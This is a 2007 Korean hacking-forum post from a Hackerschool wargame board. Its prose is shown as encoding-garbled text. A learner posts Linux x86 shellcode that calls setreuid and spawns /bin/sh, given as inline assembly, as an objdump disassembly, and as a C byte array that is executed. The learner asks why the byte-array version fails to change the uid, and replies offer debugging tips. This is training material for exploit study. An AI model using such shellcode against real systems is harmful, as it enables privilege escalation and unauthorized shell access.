½Ã½ºÅÛ ÇØÅ·

 1574, 73/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   binoopang
   http://mercury.chonnam.ac.kr/~dalkong/
   ½©Äڵ带 ¸¸µé¾ú´Âµ¥ Áú¹®ÀÌ ÀÖ½À´Ï´Ù

http://www.hackerschool.org/HS_Boards/zboard.php?desc=desc&no=742 [º¹»ç]


¾È³çÇϼ¼¿ä BOF¸¦ °øºÎÇϸ鼭 ½©Äڵ带 ¸¸µé¾ú½À´Ï´Ù.
¿©±â ÇØÄ¿½ºÄð ¼­¹ö¸¦ »ç¿ëÇߴµ¥¿ä ..
·¹º§ 9 ¿¡¼­ ½©Äڵ带 ¸¸µé¾î¼­ ·¹º§ 1¿¡¼­ ½©Äڵ带 ½ÇÇàÇϸé uid°¡
·¹º§ 9·Î ¹Ù²î°Ô ¸¸µé¾ú½À´Ï´Ù.
¹®Á¦´Â ÀÌ°Ô ¾î¼Àºí¸®ÄÚµå·Î ÄÚµùÇÑ°É ÄÄÆÄÀÏÇϸé Á¦´ë·Î ÀÛµ¿Çϴµ¥
ÀÌ°ÍÀ» ±â°è¾î·Î ¹Ù²ã¼­ c¾ð¾î·Î ÄÚµùÇÑ´ÙÀ½ ½ÇÇàÇÏ¸é ½©Àº ¶ç¿öÁö´Âµ¥
uid ´Â ¹Ù²îÁö°¡ ¾Ê½À´Ï´Ù.
ÀúÀÇ ½©Äڵ带 ¿Ã¸³´Ï´Ù!

--------------- ½©ÄÚµå (¾î¼Àºí¸® ÄÚµå) ------------------------------

void main()
{
// À̺κÐÀÌ setreuid ºÎºÐÀÔ´Ï´Ù.
__asm__ __volatile__(
"mov $0xbc1, %bx        \n\t" // NULLÁ¦°Å ÇÏ·Á°í bx¿¡ 3009(uid)³Ö¾ú½À´Ï´Ù.
"mov $0xbc1, %cx        \n\t" // NULLÁ¦°Å ÇÏ·Á°í cx¿¡ 3009(uid)³Ö¾ú½À´Ï´Ù.
"mov $0x46, %al \n\t" // setreuid ¹øÈ£ÀÎ 46À» al¿¡ ³Ö¾ú±¸¿ä.
"int $0x80      \n\t" // ÀÎÅÍ·´Æ®¸¦ °É¾ú½À´Ï´Ù.

// ¿©±â¼­ºÎÅÍ´Â ½©ÄÚµå ÀÔ´Ï´Ù.
"xor %eax, %eax \n\t"
"push %eax      \n\t"
"push $0x68732f2f       \n\t"
"push $0x6e69622f       \n\t"
"mov %esp, %ebx \n\t"
"push %eax      \n\t"
"push %ebx      \n\t"
"mov %esp, %ecx \n\t"
"mov %eax, %edx \n\t"
"mov $0xb, %al  \n\t"
"int $0x80      \n\t"
);
}

---------------------------------------------------------------

À§ÀÇ ¼Ò½º´Â ÄÄÆÄÀÏÇϸé Àß ÀÛµ¿ÇÕ´Ï´Ù. ÄÄÆÄÀϳ¡³ª°í ·¹º§9·Î
setuid ºñÆ® °É¾îÁÖ°í³ª¼­ ·¹º§1¿¡¼­ ½ÇÇàÇϸé uid°¡ ·¹º§9·Î ¹Ù²ò´Ï´Ù.

À̹ø¿¡´Â À§¿¡ ¼Ò½º¸¦ ÄÄÆÄÀÏÇÏ°í³ª¼­ objdump·Î ¶á°ÍÀÔ´Ï´Ù.

---------------------------------------------------------------------

080482f4 <main>:
80482f4:       55                      push   %ebp
80482f5:       89 e5                   mov    %esp,%ebp
80482f7:       83 ec 08                sub    $0x8,%esp
80482fa:       83 e4 f0                and    $0xfffffff0,%esp
80482fd:       b8 00 00 00 00          mov    $0x0,%eax
8048302:       29 c4                   sub    %eax,%esp
8048304:       66 bb c1 0b             mov    $0xbc1,%bx
8048308:       66 b9 c1 0b             mov    $0xbc1,%cx
804830c:       b0 46                   mov    $0x46,%al
804830e:       cd 80                   int    $0x80
8048310:       31 c0                   xor    %eax,%eax
8048312:       50                      push   %eax
8048313:       68 2f 2f 73 68          push   $0x68732f2f
8048318:       68 2f 62 69 6e          push   $0x6e69622f
804831d:       89 e3                   mov    %esp,%ebx
804831f:       50                      push   %eax
8048320:       53                      push   %ebx
8048321:       89 e1                   mov    %esp,%ecx
8048323:       89 c2                   mov    %eax,%edx
8048325:       b0 0b                   mov    $0xb,%al
8048327:       cd 80                   int    $0x80
8048329:       c9                      leave
804832a:       c3                      ret
804832b:       90                      nop

---------------------------------------------------------------------

main ºÎºÐ¸¸ µû·Î »°½À´Ï´Ù. À§¿Í°°ÀÌ ³ª¿Í¼­ ÀÌÁ¦ ±â°è¾î ºÎºÐ¸¸ µû·Î
»©¼­ ÄÚµùÀ» Çß½À´Ï´Ù. ÀÌÁ¦ ¾Æ·¡¿¡ ³ª¿À´Â ¼Ò½º°¡ ¹®Á¦ÀÇ ¼Ò½ºÀÔ´Ï´Ù.

---------------------------------------------------------------------

char sc[] =
// À̺κÐÀÌ setreuid()ºÎºÐÀÔ´Ï´Ù.
"\x66\xbb\xc1\x0b\x66\xb9\xc1\x0b\xb0\x46\xcd\x80"
// ¾Æ·¡ºÎºÐÀº ½©ÄÚµå ºÎºÐÀÔ´Ï´Ù.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";

int main()
{
        void (*pointer)(void);
        pointer=(void*)sc;
        pointer();
}

----------------------------------------------------------------------
ÀÌ°É ÄÄÆÄÀÏÇÏ°í³ª¼­ ·¹º§9·Î setuid ºñÆ® °É¾îÁØ´ÙÀ½ ·¹º§1¿¡¼­ ½ÇÇàÇϸé
·¹º§9·Î uid°¡ ¹Ù²î¾î¾ß Çϴµ¥ ¹Ù²îÁö ¾Ê½À´Ï´Ù.
´ÜÁö ½©¸¸ ¶å´Ï´Ù.. (·¹º§1ÀÇ ½©)

ÀÌÀ¯°¡ ¹«¾ùÀÎÁö ¸ð¸£°Ú½À´Ï´Ù. ¾î¼Àºí¸® ÄÚµå´Â Àß ÀÛµ¿Çϴµ¥ ¶È°°ÀÌ
±â°è¾î·Î¸¸ ¹Ù²Ù¾ú´Âµ¥ ÀÛµ¿ÀÌ ¾ÈµË´Ï´Ù ..

¿¡±¸ Áú¹®ÀÌ ³Ê¹« ±æ¾ú³×¿ä ...
Ȥ½Ã ¾Æ½Ã´ÂºÐ ´äº¯ ºÎŹµå¸³´Ï´Ù ¤Ð

ÁÁÀº ¹ã µÇ¼¼¿ä ~

  Hit : 3826     Date : 2007/07/14 12:07



    
indra Á˼ÛÇÕ´Ï´Ù¸¸... ¸Ç À§ÀÇ Äڵ嵵 À߸ø ¸¸µå¼Ì½À´Ï´Ù... xor·Î ·¹Áö½ºÅ͸¦ ÃʱâÈ­ ½ÃÅ°Áö ¾Ê°í ÇÏÀ§ ÁÖ¼Ò·Î °ªÀ» ¾´ °Å °°Àºµ¥ ½ÇÇà ¾È µÉ °Í °°±º¿ä... 2007/07/18
indra ¸¸¾à ½©ÀÌ level9 ±ÇÇÑÀ¸·Î ¶¹´Ù¸é... setuid ¸¦ °É¾ú±â ¶§¹®ÀÌÁö, setreuidÀÇ ¿µÇâÀÌ ¾Æ´Ò °Í °°½À´Ï´Ù... strace ¶ó´Â ¸í·ÉÀÌ ÀÖÀ¸´Ï ±× ¸í·ÉÀ¸·Î 2007/07/18
indra À§ÀÇ ÄÚµåµéÀ» ½ÇÇàÇÏ¿© setreuid()°¡ Àß ½ÇÇàµÇ´ÂÁö °Ë»çÇØ º¸¼¼¿ä.. 2007/07/18
indra ±×¸®°í ¾Æ·¡ÀÇ CÄڵ嵵... objdump¸¦ ¶á Á¦ÀÏ Ã³À½, push %ebp ÀÎ \x55 ºÎÅÍ Àû¾îÁÖ´Â°Ô ¸Â½À´Ï´Ù.. 2007/07/18
indra »ðÁú ¿­½ÉÈ÷ Çϼż­ ÁÁÀº°á°ú Àֱ⸦ ¹Ù¶ö²²¿ä... »ðÁúÀÌ ÃÖ°ö´Ï´Ù.. ¤» 2007/07/18
134   c¾ð¾î µ¶ÇÐÇϱâ~ ¸¹ÀÌ µµ¿òÁÖ¼¼¿ä~ ºÎŹµå·Á¿ä~[10]     BkeMan
11/17 3833
133   ÅÚ·¿ »ç¿ë¹ýÁ» °¡¸£ÄÑÁÖ¼¼¿ä~[4]     BkeMan
11/19 3533
132   ºí·ç½ºÅ©¸° °íÄ¡´Â ¹æ¹ý °¡¸£ÄÑÁÖ¼¼¿ä ±¸Ã¼ÀûÀ¸·Î¿ä~ ºÎŹµå·Á¿ä~[6]     BkeMan
11/22 3692
131   ÇØÄ¿½ºÄð °íµîÇб³ ´ëÇб³ ¾ðÁ¦Âë ³ª¿Ã±î¿ä~[3]     BkeMan
11/25 3753
130   .bat·Î ´Ù¾çÇÑ ¹ÙÀÌ·¯½º¸¦ ¸¸µé¼ö ÀÖ´Â ¹æ¹ýÁ»°¡¸£ÄÑÁÖ¼¼¿ä~¤¾[3]     BkeMan
11/30 4715
129   ÀÎÅͳݿ¡ ´ëÇؼ­ Áú¹®ÀÌ¿¡¿è~[2]     BkeMan
11/30 3730
128   ÇØÅ·Ä·ÇÁ°¡¸é ÁÁ¾Æ¿ä?? ¤¾[12]     BkeMan
12/02 3843
127   µµ½º â Áú¹®ÀÌ¿¡¿ä~[2]     BkeMan
12/06 4106
126   ¾Æ ¤¾ µµ½º â Áú¹®ÀÖ¾î¿ä[7]     BkeMan
12/07 3924
125   À¥ÇØÅ· ±×·±°ÉÇÒ·Á¸é...[8]     BkeMan
12/19 4350
  ½©Äڵ带 ¸¸µé¾ú´Âµ¥ Áú¹®ÀÌ ÀÖ½À´Ï´Ù[5]     binoopang
07/14 3825
123   ¼Ö¶ó¸®½º ½©Äڵ忡 ´ëÇؼ­ Áú¹®ÀÔ´Ï´Ù     binoopang
02/03 3463
122   Èü¿À¹öÇÃ·Î¿ì °ø°Ý¿¡ ´ëÇؼ­¿ä ..[1]     binoopang
02/08 3816
121   cÄڵ带 ¾î¼ÀÀ¸·Î º¯È¯Çϴ°ŠÁú¹®ÀÔ´Ï´Ù.[1]     bigshott
05/08 4704
120   Æ÷¸Ë½ºÆ®¸µ Áú¹® µå¸³´Ï´Ù.[1]     bigshott
12/20 2955
119   ·¹µåÇò9 ¹öÀü bof °ø°Ý ¹®ÀÇ µå¸³´Ï´Ù.     bigshott
02/01 2958
118   °³ÀÎ ÇØÅ· ¼­¹ö[7]     bigeye94
09/12 4262
117     [re] À©µµ¿ì ÇØÅ·¿¡´ëÇÏ¿©...     BHM
06/17 4619
116   clone user by Adam     BHM
07/16 4427
115     [re] Ãʺ¸ ÀÔ´Ï´Ù..-_-°í¼ö ´ÔµéÇѹø ºÁÁÖ¼¼¿ä..     BHM
07/18 3478
[1]..[71][72] 73 [74][75][76][77][78][79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org